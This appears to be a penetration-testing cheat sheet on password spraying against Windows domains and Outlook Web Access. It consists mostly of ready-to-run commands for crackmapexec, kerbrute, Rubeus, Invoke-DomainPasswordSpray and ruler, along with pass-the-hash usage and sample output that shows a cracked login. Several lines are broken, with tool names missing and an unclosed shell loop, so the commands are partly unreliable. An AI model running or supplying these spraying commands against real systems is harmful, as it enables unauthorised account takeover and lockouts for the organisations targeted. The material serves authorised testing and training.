Password Spraying

Password Spraying

Once you have found several valid usernames you can try the most common passwords (keep in mind the password policy of the environment) with each of the discovered users. By default the minimum password length is 7.
Lists of common usernames could also be useful:
Notice that you could lockout some accounts if you try several wrong passwords (by default more than 10).

Get password policy

If you have some user credentials or a shell as a domain user you can get the password policy with:
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linux -u 'username' -p 'password' -P <IP>
rpcclient -U "" -N;
rpcclient $>querydominfo
ldapsearch -h -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
# From Windows
net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation from Linux (or all)

  • Using crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d [--dc] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d [--dc] passwords.lst thoffman
  • spray (you can indicate number of attempts to avoid lockouts): -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Using kerbrute (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK
python -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • With the scanner/smb/smb_login module of Metasploit:
  • Using rpcclient:
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" | grep Authority;

From Windows

  • With Rubeus version with brute module:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • With Invoke-DomainPasswordSpray (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

Outlook Web Access

There are multiples tools for password spraying outlook.
To use any of these tools, you need a user list and a password / a small list of passwords to spray.
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020